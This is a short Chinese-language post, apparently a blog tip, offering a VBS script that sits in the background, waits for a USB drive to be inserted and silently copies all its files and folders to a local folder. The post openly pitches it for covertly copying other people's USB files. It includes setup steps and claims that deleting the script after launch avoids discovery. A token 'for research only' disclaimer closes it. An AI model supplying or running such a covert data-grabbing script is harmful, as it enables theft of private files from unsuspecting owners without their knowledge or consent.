自动抓取U盘文件

如果大家想在神不知鬼不觉中将别人U盘中的文件复制出来，那么就可以尝试一下下面这个短短的VBS脚本。

set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("E:\") then
fso.copyfile "E:\*","D:\grab"
fso.copyfolder "E:\*","D:\grab"
wscript.sleep 20000
end if
loop

新建一个文本文档，把这个代码段复制进去，保存，后缀名更改为vbs即可运行。

使用要注意：

①第6行 E:\ 为插入U盘的盘符，这个需要自己观察，然后根据电脑的不同进行修改
②第7、8行 前面的 E:\* 同样是U盘盘符，也需要更改，但是*不能去掉。后面的是要复制到的路径，也需要自行更改
③如果只想复制文件，可以去掉第8行
④如果只想复制文件夹，可以去掉第7行
⑤如果两行都不去掉，那么就复制所有文件

特别之处

由于vbs脚本都是在后台运行，而且一旦运行代码就被注入内存，所以运行完事删掉也没有影响，完全不用担心被发现。但是该程序仅供个人参考研究，一定不要干坏事哟！